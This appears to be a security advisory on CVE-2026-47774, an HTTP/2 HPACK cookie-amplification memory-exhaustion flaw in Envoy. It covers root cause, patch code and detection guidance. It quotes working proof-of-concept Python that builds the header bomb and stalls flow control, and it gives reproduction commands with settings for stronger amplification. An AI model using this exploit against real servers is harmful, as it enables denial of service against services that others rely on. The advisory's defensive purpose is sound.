Introduction
A single HTTP/2 client with a 100 Mbps connection can now consume 32 GB of memory on an Envoy proxy in roughly 10 seconds, achieving a 5,700:1 wire to memory amplification ratio that leads to OOM termination. CVE-2026-47774 exploits a gap between how Envoy accounts for cookie header bytes during size validation and how HPACK compression allows compact encoded references to expand into massive decoded allocations, and it is part of a broader "HTTP/2 Bomb" vulnerability class affecting multiple major web servers.
Technical Information
Root Cause
CVE-2026-47774 is classified under CWE-405 (Asymmetric Resource Consumption: Amplification) and CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerability stems from the interaction of two distinct flaws in Envoy's HTTP/2 header processing pipeline.
Flaw 1: Cookie Header Size Bypass. During HTTP/2 request processing, Envoy buffers cookie header fragments separately and merges them after header size validation has already completed. This means max_request_headers_kb enforcement does not correctly include cookie header bytes in its size calculation, allowing oversized cookie data to bypass the intended header size limits entirely.
Flaw 2: HPACK Encoded vs. Decoded Size Discrepancy. HPACK header block limits in the oghttp2/quiche libraries are enforced on encoded bytes without a corresponding limit on total decoded header size. An attacker can populate the HPACK dynamic table with a large cookie value, then reference it thousands of times using compact 1 byte indexed references. Each reference decodes to the full value on the server side, but the encoded representation stays tiny.
Attack Flow
The attack chains three techniques into what researchers have termed the "HTTP/2 Bomb":
-
HPACK Indexed Reference Bomb: The attacker inserts a single cookie entry with a 4,058 byte value into the HPACK dynamic table (precisely filling Envoy's default 4,096 byte table). It then sends thousands of 1 byte indexed references to that entry. Each reference triggers approximately 4,000 bytes of server side allocation.
-
Cookie Crumbs: To bypass header field count limits, the attacker splits the Cookie header into one field per "crumb." Envoy's cookie merge and normalization process creates large aggregate decoded values that bypass
max_request_headers_kbprotections because the accounting happens before the merge. -
HTTP/2 Window Stall: The attacker sets
INITIAL_WINDOW_SIZEto 0 and trickles tiny 1 byteWINDOW_UPDATEframes. This pins all allocated memory by prolonging stream lifetime and preventing Envoy from flushing response DATA frames or freeing header memory.
The result: approximately 32 GB of memory consumed in roughly 10 seconds with a single client, achieving a 5,700:1 amplification ratio. No authentication, no user interaction, and no special privileges are required. The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, scoring 7.5.
Cross Server Comparison
For context, here is how the amplification compares across servers affected by the HTTP/2 Bomb class:
| Server | Memory Consumed | Time to Exhaust | Amplification Ratio | Per Reference Allocation |
|---|---|---|---|---|
| Envoy | ~32 GB | ~10 seconds | ~5,700:1 | ~4,000 bytes |
| Apache httpd | ~32 GB | ~18 seconds | ~4,000:1 | ~4,000 bytes |
| nginx | ~32 GB | ~45 seconds | ~70:1 | ~70 bytes |
| Microsoft IIS | ~64 GB | ~45 seconds | ~68:1 | ~70 bytes |
Envoy and Apache exhibit the highest amplification ratios because their per reference allocation is approximately 4,000 bytes, compared to approximately 70 bytes for nginx and IIS. This makes Envoy roughly 80x more susceptible to amplification than nginx.
Proof of Concept
A fully functional, verified PoC exploit is publicly available in the Calif.io research repository. The repository README explicitly states: "The exploits are verified by us. They work."
The primary PoC script is hpack_cookie_bomb.py, a Python 3 tool. The core exploit logic resides in the build_cookie_bomb function:
def build_cookie_bomb(authority: str, cookie_value_size: int, refs: int) -> bytes: if cookie_value_size > 4058: raise ValueError("cookie_value_size must be <= 4058 for the default 4096 byte HPACK table") cookie_value = b"x" * cookie_value_size block = bytearray() block += indexed(2) # :method: GET block += indexed(7) # :scheme: https block += indexed(4) # :path: / block += literal_indexed_name_without_indexing(1, authority.encode()) # :authority # HPACK static index 32 is "cookie". 6 + 4058 + 32 = 4096, so this exactly # fits Envoy's default HPACK dynamic table and becomes dynamic index 62. block += literal_indexed_name_with_indexing(32, cookie_value) block += indexed(62) * refs return bytes(block)
This function constructs an HPACK header block that first inserts a single cookie entry with a 4,058 byte value (precisely filling Envoy's default 4,096 byte HPACK dynamic table) into dynamic index 62, then emits thousands of one byte indexed references to that entry. The server decodes each reference back into a full 4,058 byte cookie crumb and appends it to the internal buffer.
The connection is established with INITIAL_WINDOW_SIZE=0 via the connect_h2 function:
def connect_h2(host: str, port: int, server_name: str, initial_window: int) -> ssl.SSLSocket: # ... TLS setup with ALPN h2 ... sock.sendall(CLIENT_PREFACE) sock.sendall( h2_frame( FRAME_SETTINGS, 0, 0, settings_payload([(SETTINGS_INITIAL_WINDOW_SIZE, initial_window)]), ) ) service_peer_frames(sock, 1.0) return sock
The zero window prevents Envoy from flushing response DATA frames, keeping all accumulated memory pinned.
Reproduction steps from the Envoy specific README:
- Setup target:
./setup_certs.sh podman pull docker.io/envoyproxy/envoy:v1.37-latest ./run_envoy.sh
- Monitor RSS:
./monitor_rss.py --name envoy-hpack-cookie
- Launch the PoC (conservative single stream):
./hpack_cookie_bomb.py --connections 1 --streams 1 --refs 8192 --hold 30
- Higher amplification variant:
./hpack_cookie_bomb.py --connections 1 --streams 1 --refs 32768 --hold 60
The script supports configurable parameters including --connections (parallel connections), --streams (H/2 streams per connection), --refs (number of HPACK indexed references, default 8192), --cookie-value-size (default 4058), --initial-window (default 0), --hold (seconds to hold the connection open), and --drip-interval/--drip-bytes for slow window updates.
Patch Information
The Envoy maintainers addressed CVE-2026-47774 through changes published on June 3, 2026, landing in patched releases 1.35.11, 1.36.7, 1.37.3, and 1.38.1. The primary fix commit is ab55c9a, titled "enforce cookie limits," authored by Reuben Tanner (Google) and committed by phlax.
Including Cookie Bytes and Count in Header Limit Checks
The most critical change is in source/common/http/http2/codec_impl.cc. Previously, the saveHeader() method evaluated stream->headers().byteSize() and stream->headers().size() alone against configured limits. The patch augments these values by adding the accumulated cookie buffer size and count:
uint64_t headers_size = stream->headers().byteSize(); uint64_t headers_count = stream->headers().size(); if (Runtime::runtimeFeatureEnabled("envoy.reloadable_features.http2_include_cookies_in_limits")) { headers_size += stream->cookies_.size(); headers_count += stream->cookie_count_; }
A stream that exceeds mutable_max_request_headers_kb or max_headers_count now receives a RST_STREAM instead of being allowed to silently grow in memory.
Tracking Cookie Fragments at the Stream Level
A new uint32_t cookie_count_ member was added to StreamImpl in codec_impl.h, initialized to zero on stream construction. The stream level saveHeader() now increments this counter when a cookie fragment is buffered:
void ConnectionImpl::StreamImpl::saveHeader(HeaderString&& name, HeaderString&& value) { if (Utility::reconstituteCrumbledCookies(name, value, cookies_)) { cookie_count_++; } else { headers().addViaMove(std::move(name), std::move(value)); } }
Enforcing Decoded Header Size in oghttp2
The patch enables enforce_max_header_list_bytes = true in the oghttp2/quiche adapter options when the runtime guard is active. This addresses the second leg of the vulnerability: previously, oghttp2 only enforced HPACK limits on encoded bytes. With this flag, decoded header size is now also subject to enforcement at the codec layer, preventing HPACK amplification from circumventing limits.
Improved Observability
A new counter header_list_size_too_large was added to distinguish header size violations from header count violations (header_overflow/too_many_headers). The previously combined size and count check was split into two separate branches, each emitting its own detail string.
Runtime Guard for Safe Rollback
All behavioral changes are gated behind the runtime feature flag envoy.reloadable_features.http2_include_cookies_in_limits, which is enabled by default in patched releases. This allows operators who experience breakage with legitimate cookie heavy traffic to temporarily revert the fix while adjusting their limits.
Operational Follow Up
As documented in Issue #45483, early deployment revealed that the new cookie accounting could inadvertently reset legitimate requests if applications use large numbers of cookies (e.g., 90+ cookie crumbs exceeding the default count limit of 100). Emergency follow up releases (v1.38.2, v1.37.4, v1.36.8, v1.35.12) were prepared, adding opt in histograms and a dedicated http2_max_cookies_size_in_kb runtime value to help operators determine safe thresholds.
Downstream Propagation
Istio incorporated the fixed Envoy in Istio 1.28.8 (released June 4, 2026). Red Hat shipped the fix in OpenShift Service Mesh 3.3.4 via RHSA-2026:26247.
Detection Methods
Detecting exploitation of CVE-2026-47774 is primarily a behavioral and metric based exercise rather than a traditional signature matching problem. The attack exploits legitimate HTTP/2 protocol features; the malicious behavior emerges from the combination and volume of these features, not from any single anomalous byte pattern.
Vendor Published Indicators
The Envoy project's security advisory (GHSA-22m2-hvr2-xqc8) lists three key indicators operators should watch for:
- Rapid or sustained abnormal memory growth in the Envoy process
- OOM termination, specifically exit status 137 in containerized environments (Kubernetes pods or Docker containers), which corresponds to SIGKILL (signal 9)
- Unusual HTTP/2 traffic patterns involving repeated indexed cookie references
If your Envoy process is being killed with exit code 137 under HTTP/2 workloads and you are not expecting memory pressure from legitimate traffic, this warrants immediate investigation.
Process Level Memory Monitoring
The most reliable detection approach is continuous monitoring of Envoy's resident set size (RSS). The original research demonstrated that a single client can push Envoy's memory to approximately 32 GB in roughly 10 seconds. This growth curve is unmistakable. Operators should baseline their Envoy processes' normal memory profiles and set alerts for deviations, particularly steep, sustained increases correlated with HTTP/2 connection activity. In Kubernetes environments, monitoring container memory utilization against configured limits is essential. Istio users are equally affected, as confirmed by ISTIO-SECURITY-2026-004, and should apply the same monitoring to sidecar proxies.
Network Level Traffic Pattern Analysis
The attack has two distinct network visible phases. The first phase (HPACK bomb) involves a client inserting a single large cookie value into the HPACK dynamic table and then referencing it repeatedly via compact 1 byte indexed references, potentially thousands of times per request. The second phase (flow control stall) involves the attacker advertising a zero byte flow control window and then trickling tiny 1 byte WINDOW_UPDATE frames to keep the connection alive and pin allocated memory indefinitely.
However, HTTP/2 traffic is almost always encrypted with TLS, which means passive network monitoring at a tap or mirror port will not reveal these patterns. Detection at this layer requires inspection at the TLS termination point.
Suricata HTTP/2 Inspection
While no pre built, CVE tagged Suricata rules have been published, Suricata's HTTP/2 parser offers several keywords relevant for crafting custom detection logic:
http2.windowcan match the value inWINDOW_UPDATEframes; looking for very small values (e.g.,http2.window:1;) could help identify the flow control stalling phasehttp2.size_updatecan match HPACK dynamic table size changes, allowing detection of unusual table manipulationhttp2.settingscan matchSETTINGSframe parameters such asSETTINGS_HEADER_TABLE_SIZEhttp2.header_nameprovides a sticky buffer for matching specific header names likecookiein HEADER frames
Defenders with Suricata deployed at a TLS terminated inspection point should consider building rules that combine these keywords to flag anomalous HTTP/2 sessions.
What Will Not Work Well
Traditional YARA rules and Sigma rules are not well suited because this is a network protocol level DoS, not a file based or host log based attack. Static IDS signatures are difficult to craft without high false positive rates because the individual components (cookie headers, HPACK indexed references, WINDOW_UPDATE frames) are all legitimate HTTP/2 protocol features. Effective detection requires stateful analysis: counting header field repetitions per stream, tracking decoded vs. encoded size ratios, and correlating window update patterns with connection duration.
Affected Systems and Versions
All Envoy versions below 1.39 are vulnerable. Specifically, the following version ranges are affected:
- Envoy 1.35.x prior to 1.35.11
- Envoy 1.36.x prior to 1.36.7
- Envoy 1.37.x prior to 1.37.3
- Envoy 1.38.x prior to 1.38.1
The vulnerability affects any Envoy deployment that accepts downstream HTTP/2 connections. This includes:
- Standalone Envoy proxy deployments
- Istio service mesh deployments (Envoy serves as the data plane sidecar)
- Envoy based API gateways
- Any configuration using Envoy as an edge proxy with HTTP/2 enabled on downstream listeners
Patched versions: 1.35.11, 1.36.7, 1.37.3, and 1.38.1. Emergency follow up releases addressing operational issues with the initial fix: v1.38.2, v1.37.4, v1.36.8, and v1.35.12.
Downstream fixes: Istio 1.28.8 (released June 4, 2026) and Red Hat OpenShift Service Mesh 3.3.4 (RHSA-2026:26247).
Vendor Security History
Envoy has accumulated 101 published CVE records since 2019, with one CVE listed in CISA's Known Exploited Vulnerabilities catalog and 24 CVEs with known public exploits. Notable past vulnerabilities include CVE-2019-9900 and CVE-2019-9901, which were header manipulation vulnerabilities affecting Envoy 1.9.0 and older, and CVE-2019-18801, a heap vulnerability that was the subject of a detailed exploitation analysis on the Envoy blog.
The project demonstrates a consistent pattern of responsible disclosure and timely patching. For CVE-2026-47774, patches were released simultaneously across four release branches on June 3, 2026, and the team quickly followed up with emergency releases when the initial fix caused operational issues with legitimate cookie heavy traffic.
It is worth noting that CVE-2026-47774 is part of a broader HTTP/2 Bomb vulnerability class discovered by security firm Calif using OpenAI Codex. The broader class also affects Apache httpd (CVE-2026-49975), nginx, Microsoft IIS, and Cloudflare Pingora. The use of AI to chain two known techniques into a novel combined attack represents a shift in vulnerability research methodology that may accelerate the pace of future discoveries.
References
- CVE-2026-47774 GHSA Advisory: HTTP/2 memory exhaustion via cookie header size bypass
- CVE-2026-47774 on oss-security mailing list
- CVE-2026-47774 Red Hat Customer Portal
- Calif Blog: Codex Discovered a Hidden HTTP/2 Bomb
- Radware Threat Advisory: AI Discovered HTTP/2 Bomb
- Calif PoC Repository: Envoy HTTP/2 Bomb
- Calif PoC Script: hpack_cookie_bomb.py
- Calif PoC README (HTTP/2 Bomb)
- Calif PoC README (Envoy specific)
- Envoy Fix Commit ab55c9a: enforce cookie limits
- Envoy Issue #45483: Operational follow up
- Istio 1.28.8 Release Notes
- ISTIO-SECURITY-2026-004
- Envoy Releases
- Envoy Security Advisories
- Suricata HTTP/2 Keywords Documentation
- CISA Known Exploited Vulnerabilities Catalog
- CNCF Announces Envoy Graduation
- oss-security: HTTP/2 Bomb affects Apache httpd, nginx, envoy, and pingora
- Penligent: CVE-2026-49975 HTTP/2 Bomb Analysis
- envoyproxy Vulnerabilities Overview
- Envoy Proxy Home



